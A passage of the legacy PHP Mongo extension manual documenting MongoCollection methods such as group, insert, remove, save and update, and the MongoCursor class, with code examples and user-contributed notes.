  [7] =>
  array(4) {
    '_id' =>
    class MongoId#12 (1) {
      public $$id =>      string(24) '4d6f7abd44670a1513190000'
    }
    'ns' =>
    string(12) 'project.outfits'
    'key' =>
    array(2) {
      'created' =>
      int(-1)
      'userid' =>
      int(1)
    }
    'name' =>
    string(19) 'created_-1_userid_1'
  }
}

See MongoCursor for more information how to work with cursors.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::getDBRef
MongoCollection::getName
MongoCollection


Returns this collection's name

MongoCollection::getIndexInfo
MongoCollection::getSlaveOkay
MongoCollection
PHP Manual

MongoCollection::getName

(PECL mongo >=0.9.0)

MongoCollection::getName — Returns this collection's name

Description

public string MongoCollection::getName ( void )

Parameters

This function has no parameters.

Return Values

Returns the name of this collection.

Examples

Example #1 MongoCollection::getName() example

<?php

$m = new Mongo();
$c = $m->foo->bar->baz;

echo "Working with collection " . $c->getName() . ".\n";

// the full namespace is given by the MongoCollection::__toString() method
echo "Working in namespace $c.\n";

?>

The above example will output something similar to:

Working with collection bar.baz.
Working in namespace foo.bar.baz.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::getIndexInfo
MongoCollection::getSlaveOkay
MongoCollection


Get slaveOkay setting for this collection

MongoCollection::getName
MongoCollection::group
MongoCollection
PHP Manual

MongoCollection::getSlaveOkay

(PECL mongo >=1.1.0)

MongoCollection::getSlaveOkay — Get slaveOkay setting for this collection

Description

public bool MongoCollection::getSlaveOkay ( void )

See the query section of this manual for information on distributing reads to slaves.

Parameters

This function has no parameters.

Return Values

Returns the value of slaveOkay for this instance.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::getName
MongoCollection::group
MongoCollection


Performs an operation similar to SQL's GROUP BY command

MongoCollection::getSlaveOkay
MongoCollection::insert
MongoCollection
PHP Manual

MongoCollection::group

(PECL mongo >=0.9.2)

MongoCollection::group — Performs an operation similar to SQL's GROUP BY command

Description

public array MongoCollection::group ( mixed $keys , array $initial , MongoCode $reduce [, array $options = array() ] )

Parameters

keys

Fields to group by. If an array or non-code object is passed, it will be the key used to group results.

1.0.4+: If keys is an instance of MongoCode, keys will be treated as a function that returns the key to group by (see the "Passing a keys function" example below).

initial

Initial value of the aggregation counter object.

reduce

A function that takes two arguments (the current document and the aggregation to this point) and does the aggregation.

options

Optional parameters to the group command. Valid options include:

  • "condition"

    Criteria for including a document in the aggregation.

  • "finalize"

    Function called once per unique key that takes the final output of the reduce function.

Return Values

Returns an array containing the result.

Examples

Example #1 MongoCollection::group() example

This groups documents by category and creates a list of names within that category.

<?php

$collection->insert(array("category" => "fruit", "name" => "apple"));
$collection->insert(array("category" => "fruit", "name" => "peach"));
$collection->insert(array("category" => "fruit", "name" => "banana"));
$collection->insert(array("category" => "veggie", "name" => "corn"));
$collection->insert(array("category" => "veggie", "name" => "broccoli"));

$keys = array("category" => 1);

$initial = array("items" => array());

$reduce = "function (obj, prev) { prev.items.push(obj.name); }";

$g = $collection->group($keys, $initial, $reduce);

echo json_encode($g['retval']);

?>

The above example will output something similar to:

[{"category":"fruit","items":["apple","peach","banana"]},{"category":"veggie","items":["corn","broccoli"]}]

Example #2 MongoCollection::group() example

This example doesn't use any key, so every document will be its own group. It also uses a condition: only documents that match this condition will be processed by the grouping function.

<?php

$collection->save(array("a" => 2));
$collection->save(array("b" => 5));
$collection->save(array("a" => 1));

// use all fields
$keys = array();

// set intial values
$initial = array("count" => 0);

// JavaScript function to perform
$reduce = "function (obj, prev) { prev.count++; }";

// only use documents where the "a" field is greater than 1
$condition = array("a" => array( '$gt' => 1));

$g = $collection->group($keys, $initial, $reduce, $condition);

var_dump($g);

?>

The above example will output something similar to:

array(4) {
  ["retval"]=>
  array(1) {
    [0]=>
    array(1) {
      ["count"]=>
      float(1)
    }
  }
  ["count"]=>
  float(1)
  ["keys"]=>
  int(1)
  ["ok"]=>
  float(1)
}

Example #3 Passing a keys function

If you want to group by something other than a field name, you can pass a function as the first parameter of MongoCollection::group() and it will be run against each document. The return value of the function will be used as its grouping value.

This example demonstrates grouping by the num field modulo 4.

<?php

$c->group(new MongoCode('function(doc) { return {mod : doc.num % 4}; }'),
     array("count" => 0),
     new MongoCode('function(current, total) { total.count++; }'));

?>

User Contributed Notes

nick at pitchinteractive dot com 05-Jan-2012 12:51
Here's my code to do an equivalent of a GROUP BY and a SUM

<?php
$contributionCol = $db->customers->contribution;
$group = $contributionCol->group(array('date' => true), array('sum' => 0), "function (obj, prev) { prev['sum'] += obj.amount; }");
?>

This groups by the 'date' column and sums over the 'amount' column. In my testing this was much slower than querying all rows and doing the Group by code with PHP. It could just be my particular setup and data set.

Also at first my amount column was a string, which caused the results to be concatenated rather than arithmetic addition, something else to watch out for.
Evgeniy Abduzhapparov 12-Nov-2010 05:05
Here I am posting how I get tags from my documents. Documents should have 'tags' field which is array of strings:
{'tags':['php', 'mongo']}
<?php
$keys = array();
$initial = array('tags'=>array(), 'count'=>0);
$reduce = 'function (doc, total) { if (doc.tags.length) {doc.tags.forEach(function (e) {total.tags[e]=total.tags[e]||0; total.tags[e]++; total.count++;});} }';
$criteria = array(
    'condition' => array(
        'tags' => array('$exists'=>true)
    ),
);
?>
MongoCollection::getSlaveOkay
MongoCollection::insert
MongoCollection


Inserts an array into the collection

MongoCollection::group
MongoCollection::remove
MongoCollection
PHP Manual

MongoCollection::insert

(PECL mongo >=0.9.0)

MongoCollection::insert — Inserts an array into the collection

Description

public bool|array MongoCollection::insert ( array $a [, array $options = array() ] )

All strings sent to the database must be UTF-8. If a string is not UTF-8, a MongoException will be thrown. To insert (or query for) a non-UTF-8 string, use MongoBinData.

Parameters

a

An array.

options

Options for the insert.

  • "safe"

    Can be a boolean or integer, defaults to FALSE. If FALSE, the program continues executing without waiting for a database response. If TRUE, the program will wait for the database response and throw a MongoCursorException if the insert did not succeed.

    If you are using replication and the master has changed, using "safe" will make the driver disconnect from the master, throw an exception, and attempt to find a new master on the next operation (your application must decide whether or not to retry the operation on the new master).

    If you do not use "safe" with a replica set and the master changes, there will be no way for the driver to know about the change so it will continuously and silently fail to write.

    If safe is an integer, will replicate the insert to that many machines before returning success (or throw an exception if the replication times out, see wtimeout). This overrides the w variable set on the collection.

  • "fsync"

    Boolean, defaults to FALSE. Forces the insert to be synced to disk before returning success. If TRUE, a safe insert is implied and will override setting safe to FALSE.

  • "timeout"

    Integer, defaults to MongoCursor::$timeout. If "safe" is set, this sets how long (in milliseconds) for the client to wait for a database response. If the database does not respond within the timeout period, a MongoCursorTimeoutException will be thrown.

Return Values

If safe was set, returns an array containing the status of the insert. Otherwise, returns a boolean representing if the array was not empty (an empty array will not be inserted).

If an array is returned, the following keys can be present:

ok

This should almost be 1 (unless last_error itself failed).

err

If this field is non-null, an error occurred on the previous operation. If this field is set, it will be a string describing the error that occurred.

code

If a database error occurred, the relevant error code will be passed back to the client.

errmsg

This field is set if something goes wrong with a database command. It is coupled with ok being 0. For example, if w is set and times out, errmsg will be set to "timed out waiting for slaves" and ok will be 0. If this field is set, it will be a string describing the error that occurred.

n

If the last operation was an insert, an update or a remove, the number of objects affected will be returned.

wtimeout

If the previous option timed out waiting for replication.

waiter

How long the operation waited before timing out.

wtime

If w was set and the operation succeeded, how long it took to replicate to w servers.

upserted

If an upsert occured, this field will contain the new record's _id field. For upserts, either this field or updatedExisting will be present (unless an error occurred).

updatedExisting

If an upsert updated an existing element, this field will be true. For upserts, either this field or upserted will be present (unless an error occurred).

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the insert fails. (Version 1.0.1+)

Throws MongoCursorTimeoutException if the "safe" option is set and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout.

Changelog

Version | Description
1.0.5 | Changed second parameter to an array of options. Pre-1.0.5, the second parameter was a boolean indicating the "safe" option.
1.0.9 | Added ability to pass integers to "safe" options (only accepted booleans before) and added "fsync" option.
1.0.9 | The return type was changed to be an array containing error information if the "safe" option is used, otherwise it is a boolean as before.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.2.0 | Added timeout option.
1.3.0 | The options parameter does no longer accept just a boolean to signify a safe insert. Instead, this now has to be done with array('safe' => true).

Examples

Example #1 MongoCollection::insert() _id example

Inserting an object will add an _id field to it, unless it is passed by reference.

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$a = array('x' => 12);
$collection->insert($a);
var_dump($a);

$b = array('x' => 12);
$ref = &$b;
$collection->insert($ref);
var_dump($ref);

?>

The above example will output something similar to:

array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  object(MongoId)#4 (0) {
  }
}
array(12) {
  ["x"]=>
  int(1)
}

Example #2 MongoCollection::insert() safe example

This example shows inserting two elements with the same _id, which causes a MongoCursorException to be thrown, as safe was set.

<?php

$person = array("name" => "Joe", "age" => 20);
$collection->insert($person, true);

// now $person has an _id field, so if we save it
// again, we will get an exception
try {
    $collection->insert($person, true);
} catch(MongoCursorException $e) {
    echo "Can't save the same person twice!\n";
}

?>

See Also

  • MongoCollection::batchInsert() - Inserts multiple documents into this collection
  • MongoCollection::update() - Update records based on a given criteria
  • MongoCollection::find() - Querys this collection, returning a MongoCursor for the result set
  • MongoCollection::remove() - Remove records from this collection
  • MongoDB core docs on » insert.

User Contributed Notes

rob at limeworks dot com dot au 20-Aug-2011 12:15
There seems to be some odd behavior when writing a query then reading it back in very quickly. I found it useful to ensure "safe" was set to true in order to stop random "'MongoCursorException' with message 'couldn't send query: Broken pipe'" messages all the time.

This is only in a development environment, so i'm not sure if it relates to our hardware, but safe inserts fixed the issue 100%. Not even sure if it's the correct approach but it worked.

Note that the error doesn't seem to appear with small queries like below, but larger data it does.

Example:

<?php
// connect
$m = new Mongo();

// select a database
$db = $m->comedy;

// select a collection (analogous to a relational database's table)
$collection = $db->cartoons;

// add a record
$obj = array( "title" => "Calvin and Hobbes", "author" => "Bill Watterson" );

$collection->insert($obj, array('safe'=>true));

// find everything in the collection
$cursor = $collection->find(array('author' => 'Bill Watterson'));

// iterate through the results
foreach ($cursor as $obj) {
    echo json_encode($obj) . "<br />";
}

?>
Christer Edvartsen 01-Apr-2011 08:54
Also worth noting is that the MongoCollection::insert() method accepts objects as the first argument as well as arrays.

<?php
$data = new stdClass;
$data->foo = 'foo';
$data->bar = 'bar';
$collection->insert($data);
var_dump($data->_id); // An instance of MongoId
?>

You can use other classes as well, but MongoCollection::insert() will fail if the object contains any protected or private properties. Public properties listed in the class will also be inserted:

<?php
class SomeClass {
    public $foo = 'bar';
    public $bar = 'foo';
}

$data = new SomeClass;
$data->foobar = 42;
$collection->insert($data);
var_dump($data->_id); // An instance of MongoId
?>

will result in a document with four elements:

_id => some mongoid
foo => 'bar'
bar => 'foo'
foobar => 42
quintonparker at gmail dot com 14-Jul-2009 07:41
Worth noting that insert() accepts the array by reference

On successful insert the array is returned with the _id assigned by Mongo

<?php
$doc = array(
'key1' => 'yay',
'key2' => 'yipee',
);
?>

therefore becomes:

<?php
$doc = array(
'key1' => 'yay',
'key2' => 'yipee',
'_id' => '4a5c9100fbecbc00503debc8'
);
?>

Handy. Akin to mysql's SELECT LAST_INSERT_ID() without the hassle of having to send another query :-)
MongoCollection::group
MongoCollection::remove
MongoCollection


Remove records from this collection

MongoCollection::insert
MongoCollection::save
MongoCollection
PHP Manual

MongoCollection::remove

(PECL mongo >=0.9.0)

MongoCollection::remove — Remove records from this collection

Description

 public bool|array MongoCollection::remove
  ([ array $criteria = array()
 [, array $options = array()
]] )

Parameters

criteria

Description of records to remove.

options

Options for remove.

  • "justOne"

    Remove at most one record matching this criteria.

  • "safe"

    Can be a boolean or integer, defaults to FALSE. If FALSE, the program continues executing without waiting for a database response. If TRUE, the program will wait for the database response and throw a MongoCursorException if the update did not succeed.

    If you are using replication and the master has changed, using "safe" will make the driver disconnect from the master, throw and exception, and attempt to find a new master on the next operation (your application must decide whether or not to retry the operation on the new master).

    If you do not use "safe" with a replica set and the master changes, there will be no way for the driver to know about the change so it will continuously and silently fail to write.

    If safe is an integer, will replicate the update to that many machines before returning success (or throw an exception if the replication times out, see wtimeout). This overrides the w variable set on the collection.

  • "fsync"

    Boolean, defaults to FALSE. Forces the update to be synced to disk before returning success. If TRUE, a safe update is implied and will override setting safe to FALSE.

  • "timeout"

    Integer, defaults to MongoCursor::$timeout. If "safe" is set, this sets how long (in milliseconds) for the client to wait for a database response. If the database does not respond within the timeout period, a MongoCursorTimeoutException will be thrown.

Return Values

If safe was set, returns an array containing the status of the remove. Otherwise, returns a boolean representing if the array was not empty (an empty array will not be inserted). The fields in this array are decribed in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the remove fails.

Throws MongoCursorTimeoutException if the "safe" option is set and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout.

Changelog

Version | Description
1.0.5 | Changed second parameter to an array of options. Pre-1.0.5, the second parameter was a boolean indicating the "justOne" option and there was no safe option.
1.0.9 | Added ability to pass integers to "safe" options (only accepted booleans before) and added "fsync" option.
1.0.9 | The return type was changed to be an array containing error information if the "safe" option is used, otherwise it is a boolean as before.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.2.0 | Added timeout option.
1.3.0 | The options parameter does no longer accept just a boolean to signify "justOne". Instead, this now has to be done with array('justOne' => true).

Examples

Example #1 MongoCollection::remove() with justOne example

<?php

$radioactive = $db->radioactive;

// count how much more plutonium there is
$remaining = $radioactive->count(array('type' => 94));

$halflife = $remaining/2;

// remove half of it
while ($halflife > 0) {
    $radioactive->remove(array('type' => 94), array("justOne" => true));
    $halflife--;
}

?>

See Also

  • MongoCollection::insert() - Inserts an array into the collection
  • MongoCollection::update() - Update records based on a given criteria
  • MongoDB core docs on » remove.

User Contributed Notes

David Winter 02-Jan-2010 05:55
To remove a document based on its ID, you need to ensure that you pass the ID as a MongoID object rather than just a string:

<?php
$id = '4b3f272c8ead0eb19d000000';

// will not work:
$collection->remove(array('_id' => $id), true);

// will work:
$collection->remove(array('_id' => new MongoId($id)), true);
?>
MongoCollection::insert
MongoCollection::save
MongoCollection


Saves an object to this collection

MongoCollection::remove
MongoCollection::setSlaveOkay
MongoCollection
PHP Manual

MongoCollection::save

(PECL mongo >=0.9.0)

MongoCollection::save — Saves an object to this collection

Description

public mixed MongoCollection::save ( array $a [, array $options = array() ] )

If the object is from the database, update the existing database object, otherwise insert this object.

Parameters

a

Array to save.

options

Options for the save.

  • "safe"

    Can be a boolean or integer, defaults to FALSE. If FALSE, the program continues executing without waiting for a database response. If TRUE, the program will wait for the database response and throw a MongoCursorException if the insert did not succeed.

    If you are using replication and the master has changed, using "safe" will make the driver disconnect from the master, throw and exception, and attempt to find a new master on the next operation (your application must decide whether or not to retry the operation on the new master).

    If you do not use "safe" with a replica set and the master changes, there will be no way for the driver to know about the change so it will continuously and silently fail to write.

    If safe is an integer, will replicate the insert to that many machines before returning success (or throw an exception if the replication times out, see wtimeout). This overrides the w variable set on the collection.

  • "fsync"

    Boolean, defaults to FALSE. Forces the insert to be synced to disk before returning success. If TRUE, a safe insert is implied and will override setting safe to FALSE.

  • "timeout"

    Integer, defaults to MongoCursor::$timeout. If "safe" is set, this sets how long (in milliseconds) for the client to wait for a database response. If the database does not respond within the timeout period, a MongoCursorTimeoutException will be thrown.

Return Values

If safe was set, returns an array containing the status of the save. Otherwise, returns a boolean representing if the array was not empty (an empty array will not be inserted).

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the save fails.

Throws MongoCursorTimeoutException if the "safe" option is set and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout.

Changelog

Version | Description
1.0.5 | Added "options" parameter.
1.0.9 | Added ability to pass integers to "safe" options (only accepted booleans before) and added "fsync" option.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.2.0 | Added timeout option.

Examples

Example #1 MongoCollection::save() example

<?php

$obj = array('x' => 1);

// insert $obj into the db
$collection->save($obj);

// add another field
$obj['foo'] = 'bar';

// $obj cannot be inserted again, causes duplicate _id error
$collection->insert($obj);

// save updates $obj with the new field
$collection->save($obj);

?>

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::remove
MongoCollection::setSlaveOkay
MongoCollection


Change slaveOkay setting for this collection

MongoCollection::save
MongoCollection::toIndexString
MongoCollection
PHP Manual

MongoCollection::setSlaveOkay

(PECL mongo >=1.1.0)

MongoCollection::setSlaveOkay — Change slaveOkay setting for this collection

Description

public bool MongoCollection::setSlaveOkay ([ bool $ok = true ] )

See the query section of this manual for information on distributing reads to slaves.

Parameters

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoCollection instance.

Return Values

Returns the former value of slaveOkay for this instance.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::save
MongoCollection::toIndexString
MongoCollection


Converts keys specifying an index to its identifying string

MongoCollection::setSlaveOkay
MongoCollection::__toString
MongoCollection
PHP Manual

MongoCollection::toIndexString

(No version information available, might only be in SVN)

MongoCollection::toIndexString — Converts keys specifying an index to its identifying string

Description

static protected string MongoCollection::toIndexString ( mixed $keys )

Parameters

keys

Field or fields to convert to the identifying string

Return Values

Returns a string that describes the index.

Examples

Example #1 MongoCollection::toIndexString() example

This example shows how you can create an index name out of of keys. Because this is a protected (static) method, you need to overload it in a child class first.

<?php
// Create inheritec class to make the method "public".
class MyCollection extends MongoCollection
{
    static public function toIndexString($a)
    {
        return parent::toIndexString($a);
    }
}

echo MyCollection::toIndexString("foo")), "\n";
// Outputs: foo_1

echo MyCollection::toIndexString(array('name' => 1, 'age' => -1)), "\n";
// Outputs: name_1_age_-1
?>

See Also

MongoDB core docs on » indexes.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::setSlaveOkay
MongoCollection::__toString
MongoCollection


String representation of this collection

MongoCollection::toIndexString
MongoCollection::update
MongoCollection
PHP Manual

MongoCollection::__toString

(PECL mongo >=0.9.0)

MongoCollection::__toString — String representation of this collection

Description

public string MongoCollection::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns the full name of this collection.

Examples

Example #1 MongoCollection::__toString() example

<?php

$m = new Mongo();

$c1 = $m->foo->bar->baz;
echo "Working with collection $c1.";

$c2 = $m->selectCollection('[]', '&');
echo "Working with collection $c2.";

?>

The above example will output something similar to:

Working with collection foo.bar.baz.
Working with collection [].&.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::toIndexString
MongoCollection::update
MongoCollection


Update records based on a given criteria

MongoCollection::__toString
MongoCollection::validate
MongoCollection
PHP Manual

MongoCollection::update

(PECL mongo >=0.9.0)

MongoCollection::update — Update records based on a given criteria

Description

public bool|array MongoCollection::update ( array $criteria , array $new_object [, array $options = array() ] )

Parameters

criteria

Description of the objects to update.

new_object

The object with which to update the matching records.

options

This parameter is an associative array of the form array("optionname" => <boolean>, ...). Currently supported options are:

  • "upsert"

    If no document matches $criteria, a new document will be created from $criteria and $new_object (see upsert example below).

  • "multiple"

    All documents matching $criteria will be updated. MongoCollection::update() has exactly the opposite behavior of MongoCollection::remove(): it updates one document by default, not all matching documents. It is recommended that you always specify whether you want to update multiple documents or a single document, as the database may change its default behavior at some point in the future.

  • "safe"

    Can be a boolean or integer, defaults to FALSE. If FALSE, the program continues executing without waiting for a database response. If TRUE, the program will wait for the database response and throw a MongoCursorException if the update did not succeed.

    If you are using replication and the master has changed, using "safe" will make the driver disconnect from the master, throw and exception, and attempt to find a new master on the next operation (your application must decide whether or not to retry the operation on the new master).

    If you do not use "safe" with a replica set and the master changes, there will be no way for the driver to know about the change so it will continuously and silently fail to write.

    If safe is an integer, will replicate the update to that many machines before returning success (or throw an exception if the replication times out, see wtimeout). This overrides the w variable set on the collection.

  • "fsync"

    Boolean, defaults to FALSE. Forces the update to be synced to disk before returning success. If TRUE, a safe update is implied and will override setting safe to FALSE.

  • "timeout"

    Integer, defaults to MongoCursor::$timeout. If "safe" is set, this sets how long (in milliseconds) for the client to wait for a database response. If the database does not respond within the timeout period, a MongoCursorTimeoutException will be thrown.

Return Values

If safe was set, returns an array containing the status of the update. Otherwise, returns a boolean representing if the array was not empty (an empty array will not be inserted). The fields in this array are decribed in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the update fails.

Throws MongoCursorTimeoutException if the "safe" option is set and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout.

Changelog

Version | Description
1.0.1 | Changed "options" parameter from boolean to array. Pre-1.0.1, the second parameter was an optional boolean value specifying an upsert.
1.0.5 | Added "safe" option.
1.0.9 | Added ability to pass integers to "safe" options (only accepted booleans before) and added "fsync" option.
1.0.9 | The return type was changed to be an array containing error information if the "safe" option is used, otherwise it is a boolean as before.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.2.0 | Added timeout option.
1.3.0 | The options parameter does no longer accept just a boolean to signify an upsert. Instead, this now has to be done with array('upsert' => true).

Examples

Example #1 MongoCollection::update()

Adding an address field to a document.

<?php

$c->insert(array("firstname" => "Bob", "lastname" => "Jones" ));
$newdata = array('$set' => array("address" => "1 Smith Lane"));
$c->update(array("firstname" => "Bob"), $newdata);

var_dump($c->findOne(array("firstname" => "Bob")));

?>

The above example will output something similar to:

array(4) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["firstname"]=>
  string(3) "Bob"
  ["lastname"]=>
  string(5) "Jones"
  ["address"]=>
  string(12) "1 Smith Lane"
}

Example #2 MongoCollection::update() upsert example

Upserts can simplify code, as a single line can create the object if it does not exist yet and update it if it does.

<?php

$c->drop();
$c->update(array("uri" => "/summer_pics"), array('$inc' => array("page hits" => 1)), array("upsert" => true));
var_dump($c->findOne());

?>

The above example will output something similar to:

array(3) {
  ["_id"]=>
  object(MongoId)#9 (0) {
  }
  ["uri"]=>
  string(12) "/summer_pics"
  ["page hits"]=>
  int(1)
}

If $new_object does not contain $-operators, an upsert will create a new document from the passed fields only. This matches the behavior of a normal update, where not using $-operators causes the whole document to be overwritten.

<?php

$c->drop();
$c->update(
    array("name" => "joe"),
    array("username" => "joe312", "createdAt" => new MongoDate()),
    array("upsert" => true)
);
var_dump($c->findOne());

?>

The above example will output something similar to:

array(3) {
  ["_id"]=>
  object(MongoId)#10 (0) {
  }
  ["username"]=>
  string(6) "joe312"
  ["createdAt"]=>
  object(MongoDate)#4 (0) {
  }
}

Example #3 MongoCollection::update() multiple example

By default, MongoCollection::update() will only update the first document matching $criteria that it finds. Using the "multiple" option can override this behavior, if needed.

This example adds a "gift" field to every person whose birthday is in the next day.

<?php

$today = array('$gt' => new MongoDate(), '$lt' => new MongoDate(strtotime("+1 day")));
$people->update(
    array("birthday" => $today),
    array('$set' => array('gift' => $surprise)),
    array("multiple" => true)
);

?>

See Also

The PHP documentation on updates and the » MongoDB core docs.

User Contributed Notes

nerds at limeworks dot com dot au 22-Aug-2011 02:39
For anyone referencing records by the Mongo _id object, it's important to recognise that it is in fact an object, and not a string.

If you have a record with a Mongo ID of say "4e519d5118617e88f27ea8cd" that you are trying to retrieve or update, you cannot search for it using something like:
<?php
$m = new Mongo();
$db = $m->selectDB('db');
$collection = 'collection';
$db->$collection->findOne(array('_id', '4e519d5118617e88f27ea8cd'));
?>

There is some documentation that mentions simple conversion to string will solve this, but I have found the only reliable way to locate records based on their ID is to first pass it to MondoID(), then use that for reference.

Something like this will be far more reliable:
<?php
$m = new Mongo();
$db = $m->selectDB('db');
$collection = 'collection';
$mongoID = new MongoID('4e519d5118617e88f27ea8cd');
$db->$collection->findOne(array('_id', $mongoID));
?>

This may prove useful for anyone using the ID object like an auto-increment database key would be used in MySQL or similar.
joshuadburns at hotmail dot com 08-Nov-2010 12:51
Please note under optional third parameter "options":

While the official MongoDB documentation references the keyword "multi" to flag the use of multiple updates, the PHP implementation uses the key "multiple" instead.

This may cause a little confusion if you're basing your keys on the OFFICIAL MongoDB documentation.
rithish[at]gmail[dot]com 02-Nov-2010 05:22
Do note, for incrementing a value using $inc, typecast the value to an integer before passing the new object to update().

<?php
$votes = (int) $votes;
$newData = array('$inc' => array('votes'=>$votes));
$c->update(array("firstname" => "Bob"), $newData);
?>

This is especially noteworthy, if you are taking values from $_GET and pushing them for increment.
jeff at canuckistani dot ca 17-Sep-2010 03:05
The return type of update changed in 1.09 if you are using safe => TRUE. It now returns something that looks like the info returned by MongoDB::lastError:

Array
(
    [err] =>
    [updatedExisting] => 1
    [n] => 1
    [ok] => 1
)
MongoCollection::__toString
MongoCollection::validate
MongoCollection


Validates this collection

MongoCollection::update
MongoCursor
MongoCollection
PHP Manual

MongoCollection::validate

(PECL mongo >=0.9.0)

MongoCollection::validate — Validates this collection

Description

public array MongoCollection::validate ([ bool $scan_data = FALSE ] )

Parameters

scan_data

Only validate indices, not the base collection.

Return Values

Returns the database's evaluation of this object.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::update
MongoCursor
MongoCollection


The MongoCursor class

(No version information available, might only be in SVN)

Introduction

A cursor is used to iterate through the results of a database query. For example, to query the database and see all results, you could do:

<?php

$cursor = $collection->find();
var_dump(iterator_to_array($cursor));

?>

You don't generally create cursors using the MongoCursor constructor, you get a new cursor by calling MongoCollection::find() (as shown above).

Suppose that, in the example above, $collection was a 50GB collection. We certainly wouldn't want to load that into memory all at once, which is what a cursor is for: allowing the client to access the collection in dribs and drabs.

If we have a large result set, we can iterate through it, loading a few megabytes of results into memory at a time. For example, we could do:

<?php

$cursor = $collection->find();

foreach ($cursor as $doc) {
    // do something to each document
}

?>
This will go through each document in the collection, loading and garbage collecting documents as needed.

Note that this means that a cursor does not "contain" the database results, it just manages them. Thus, if you print a cursor (with, say, var_dump() or print_r()), you'll just get the cursor object, not your documents. To get the documents themselves, you can use one of the methods shown above.

Cursor Stages

A MongoCursor has two "life stages": pre- and post- query. When a cursor is created, it has not yet contacted the database, so it is in its pre-query state. In this state, the client can further specify what they want the query to do, including adding limits, skips, sorts, and more advanced options.

When the client attempts to get a result (by calling MongoCursor::next(), directly or indirectly), the cursor moves into the post-query stage. At this point, the query has been executed by the database and cannot be modified anymore.

<?php

$cursor = $collection->find()->limit(10);

// database has not yet been queried, so more search options can be added
$cursor = $cursor->sort(array("a" => 1));

var_dump($cursor->getNext());
// now database has been queried and more options cannot be added

// so this will throw an exception:
$cursor->skip(4);
?>

Class synopsis

MongoCursor implements Iterator {
/* Static Fields */
static boolean $slaveOkay = FALSE ;
static integer $timeout = 20000 ;
/* Methods */
public MongoCursor addOption ( string $key , mixed $value )
public MongoCursor batchSize ( int $num )
public __construct ( Mongo $connection , string $ns [, array $query = array() [, array $fields = array() ]] )
public int count ([ bool $foundOnly = FALSE ] )
public array current ( void )
public bool dead ( void )
protected void doQuery ( void )
public array explain ( void )
public MongoCursor fields ( array $f )
public array getNext ( void )
public bool hasNext ( void )
public MongoCursor hint ( array $key_pattern )
public MongoCursor immortal ([ bool $liveForever = true ] )
public array info ( void )
public string key ( void )
public MongoCursor limit ( int $num )
public void next ( void )
public MongoCursor partial ([ bool $okay = true ] )
public void reset ( void )
public void rewind ( void )
public MongoCursor skip ( int $num )
public MongoCursor slaveOkay ([ bool $okay = true ] )
public MongoCursor snapshot ( void )
public MongoCursor sort ( array $fields )
public MongoCursor tailable ([ bool $tail = true ] )
public MongoCursor timeout ( int $ms )
public bool valid ( void )
}

Static Variables

slaveOkay

If the query should have the "slaveOkay" flag set, which allows reads on the slave (slaves are, by default, just for backup and unreadable). Can be overridden with MongoCursor::slaveOkay().

timeout

Set timeout in milliseconds for all database responses. To wait forever, use -1. Can be overridden with MongoCursor::timeout(). This does not cause the MongoDB server to cancel the operation, it just causes the driver to stop waiting for a response and throw a MongoCursorTimeoutException.

See Also

MongoDB core docs on » cursors.

Table of Contents

  • MongoCursor::addOption — Adds a top-level key/value pair to a query
  • MongoCursor::batchSize — Sets the number of results returned per result set
  • MongoCursor::__construct — Create a new cursor
  • MongoCursor::count — Counts the number of results for this query
  • MongoCursor::current — Returns the current element
  • MongoCursor::dead — Checks if there are documents that have not been sent yet from the database for this cursor
  • MongoCursor::doQuery — Execute the query.
  • MongoCursor::explain — Return an explanation of the query, often useful for optimization and debugging
  • MongoCursor::fields — Sets the fields for a query
  • MongoCursor::getNext — Return the next object to which this cursor points, and advance the cursor
  • MongoCursor::hasNext — Checks if there are any more elements in this cursor
  • MongoCursor::hint — Gives the database a hint about the query
  • MongoCursor::immortal — Sets whether this cursor will timeout
  • MongoCursor::info — Gets the query, fields, limit, and skip for this cursor
  • MongoCursor::key — Returns the current result's _id
  • MongoCursor::limit — Limits the number of results returned
  • MongoCursor::next — Advances the cursor to the next result
  • MongoCursor::partial — If this query should fetch partial results from mongos if a shard is down
  • MongoCursor::reset — Clears the cursor
  • MongoCursor::rewind — Returns the cursor to the beginning of the result set
  • MongoCursor::skip — Skips a number of results
  • MongoCursor::slaveOkay — Sets whether this query can be done on a slave
  • MongoCursor::snapshot — Use snapshot mode for the query
  • MongoCursor::sort — Sorts the results by given fields
  • MongoCursor::tailable — Sets whether this cursor will be left open after fetching the last results
  • MongoCursor::timeout — Sets a client-side timeout for this query
  • MongoCursor::valid — Checks if the cursor is reading a valid result.

User Contributed Notes

adrian dot zurek at netmedia dot com dot pl 24-Oct-2011 04:08
One *VERY* important note, if You do:
$cursor = $collection->find(array(), array('_id' => 0)); // ommit '_id' field in result

then:
var_dump(iterator_to_array($cursor));

will return only *ONE* document, not all!
Adil Baig @ AiDezigns 07-Sep-2011 07:28
If you want to know whether a cursor returned any results it is faster to use 'hasNext()' than 'count'
MongoCollection::validate
MongoCursor::addOption
Core Classes


Adds a top-level key/value pair to a query

MongoCursor
MongoCursor::batchSize
